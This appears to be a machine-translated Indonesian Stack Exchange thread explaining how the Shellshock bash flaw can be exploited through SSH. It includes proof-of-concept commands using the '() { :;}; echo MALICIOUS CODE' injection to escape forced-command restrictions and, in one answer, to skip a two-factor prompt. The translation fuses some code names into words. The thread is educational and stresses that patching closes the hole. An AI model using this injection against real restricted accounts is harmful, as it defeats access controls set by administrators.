bagaimana shellshock dapat dieksploitasi melalui SSH?

68

Rupanya, shellshock Bash mengeksploitasi CVE-2014-6271 dapat dieksploitasi melalui jaringan melalui SSH. Saya bisa membayangkan bagaimana eksploitasi akan bekerja melalui Apache / CGI, tetapi saya tidak bisa membayangkan bagaimana itu akan berhasil di SSH?

Bisakah seseorang memberikan contoh bagaimana SSH akan dieksploitasi, dan kerusakan apa yang dapat terjadi pada sistem?

KLARIFIKASI

AFAIU, hanya pengguna yang diautentikasi yang dapat memanfaatkan kerentanan ini melalui SSH. Apa gunanya exploit ini untuk seseorang, yang memiliki akses sah ke sistem? Maksud saya, eksploitasi ini tidak memiliki eskalasi hak istimewa (dia tidak bisa menjadi root), jadi dia tidak bisa melakukan lebih dari yang bisa dia lakukan setelah hanya masuk secara sah melalui SSH.

Martin Vegter
sumber
Sederhananya, itu tidak dapat dilakukan, kecuali seseorang sudah memiliki akses ke kotak Anda. Shell bash baru hanya dieksekusi setelah upaya login berhasil.
Evert
Ini semua sebagian besar hype media, itu bisa terjadi tetapi tidak seburuk yang dibuat.
jgr208
Apakah nama pengguna masuk kata demi kata ke dalam log? Jika ya, mungkin ada skrip bash logparsing yang rentan di suatu tempat ...
PlasmaHH
1
@PlasmaHH Jika Anda menjalankan skrip parsing log sebagai root, Anda layak mendapatkan apa yang Anda dapatkan.
Barmar
@Barmar: selain itu pertanyaannya bukan secara khusus untuk mendapatkan akses root, tetapi akses ke mesin (yang mungkin semua yang diperlukan untuk mis deface atau melakukan kerusakan lainnya), ketika Anda dapat menjalankan kode, kemungkinan Anda juga bisa jalankan kode yang mengeksploitasi hal lain yang menguntungkan Anda root.
PlasmaHH

Jawaban:

79

Salah satu contoh di mana ini dapat dieksploitasi adalah di server dengan authorized_keysperintah paksa. Saat menambahkan entri ke ~/.ssh/authorized_keys, Anda dapat mengawali baris dengan command="foo"untuk memaksa foodijalankan kapan saja kunci publik ssh digunakan. Dengan exploit ini, jika shell pengguna target diatur bash, mereka dapat mengambil keuntungan dari exploit untuk menjalankan hal-hal selain dari perintah yang mereka dipaksa.

Ini mungkin lebih masuk akal sebagai contoh, jadi inilah contohnya:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Di sini kami mengatur pengguna testuser, yang memaksa koneksi ssh menggunakan kunci ssh Anda untuk berjalan echo starting sleep; sleep 1.

Kami dapat menguji ini dengan:

$ ssh testuser@localhost echo something else
starting sleep

Perhatikan bagaimana kita echo something elsetidak dijalankan, tetapi starting sleepmenunjukkan bahwa perintah yang dipaksakan berjalan.

Sekarang mari kita tunjukkan bagaimana exploit ini dapat digunakan:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Ini berfungsi karena sshdmengatur SSH_ORIGINAL_COMMANDvariabel lingkungan ke perintah yang diberikan. Jadi meskipun sshddijalankan sleep, dan bukan perintah yang saya suruh, karena exploit, kode saya tetap dijalankan.

Patrick
sumber
1
coba ini sebagai gantinya: ssh testuser@localhost echo something else '`whoami`' untuk membuktikan di mana perintah dieksekusi
Richard
1
Saya akan menambahkan jawaban ini bahwa dalam hal SSH, exploit hanya memungkinkan pengguna yang berwenang dengan kunci yang diotorisasi (kunci yang diotorisasi dapat dianggap sebagai kata sandi yang panjang) untuk menjalankan perintah yang biasanya tidak diizinkan untuk dijalankan. Itu tidak memungkinkan seseorang tanpa kunci resmi untuk melakukan apa pun. Saya tidak berpikir ini jelas dari jawaban jika Anda tidak memiliki pemahaman yang layak tentang SSH dan arti dari otor_key.
Chris Dragon
@ skrewler Biasanya itu pertanda baik Anda salah mengartikan sesuatu. Misalnya, jawabannya menjelaskan bagaimana jika pengguna uji diberikan pengaturan akun yang disediakan oleh admin, bagaimana pengguna uji akan dapat lepas dari batasan yang mereka berikan. Dan tidak, tidak dengan keterlibatan dengan bash berarti Anda dapat mengeksploitasi shellshock. Hanya ketika bash berjalan dengan izin yang biasanya tidak dimiliki pengguna, tetapi pengguna memiliki pengaruh terhadap variabel lingkungan bash itu.
Patrick
Oke, saya mendapatkan apa yang Anda coba perlihatkan sekarang - setup yang membatasi testuser untuk perintah di .authorized_keys dan bukan shell login. Tidak masuk akal bagi saya untuk mengedit .authorized_keys Anda sendiri dengan entri yang mengeksekusi perintah ketika Anda sudah memiliki akses shell (karena ini tidak akan memberikan eksekusi hak istimewa) edit: komentar dihapus, saya berdiri dikoreksi.
pemain skrewler
26

Memperluas contoh dari Ramesh - jika Anda menggunakan otentikasi dua faktor, dimungkinkan untuk memotong faktor kedua menggunakan eksploit ini, tergantung pada bagaimana penerapannya.

- Login Normal -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Menjalankan kode tanpa 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Anda akan melihat itu menjalankan kode tanpa meminta 2FA.

- Setelah menambal pesta -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Eric Rumer
sumber
1
Hanya untuk membatasi kepanikan pembaca akhirnya menggunakan faktor kedua: "tergantung bagaimana itu diterapkan" - Saya kira Anda mengasumsikan bahwa faktor kedua di sini diimplementasikan dalam bash atau menggunakan readfungsi. Jika tidak - pengguna aman.
Grzegorz Wierzowiecki
25

Shellshock adalah kerentanan pada bash, bukan pada SSH. Untuk mengeksploitasinya, penyerang perlu menyebabkan sistem yang rentan untuk menjalankan bash, dan untuk mengontrol nilai variabel lingkungan yang akan diteruskan ke bash.

Untuk mencapai proses bash melalui SSH, penyerang perlu melewati langkah otentikasi. (Mungkin ada vektor serangan melalui layanan jaringan lain, tetapi mereka berada di luar cakupan utas ini.) Jika akun tetap menjalankan perintah shell sewenang-wenang, tidak ada serangan. Kerentanan berperan jika akun dibatasi untuk menjalankan perintah tertentu: misalnya, akun khusus SFTP, atau akun khusus git, dll.

Ada beberapa cara untuk membatasi akun untuk menjalankan perintah tertentu dengan SSH: dengan ForceCommandopsi di sshd_config, atau dengan a command=. pembatasan dalam authorized_keysfile. Jika shell pengguna adalah bash, maka kerentanan Shellshock memungkinkan pengguna yang biasanya hanya memiliki akses ke akun terbatas untuk melewati batasan dan menjalankan perintah sewenang-wenang.

Gilles 'SANGAT berhenti menjadi jahat'
sumber
Dan ini BUKAN untuk kerang lainnya zsh.
Eir Nym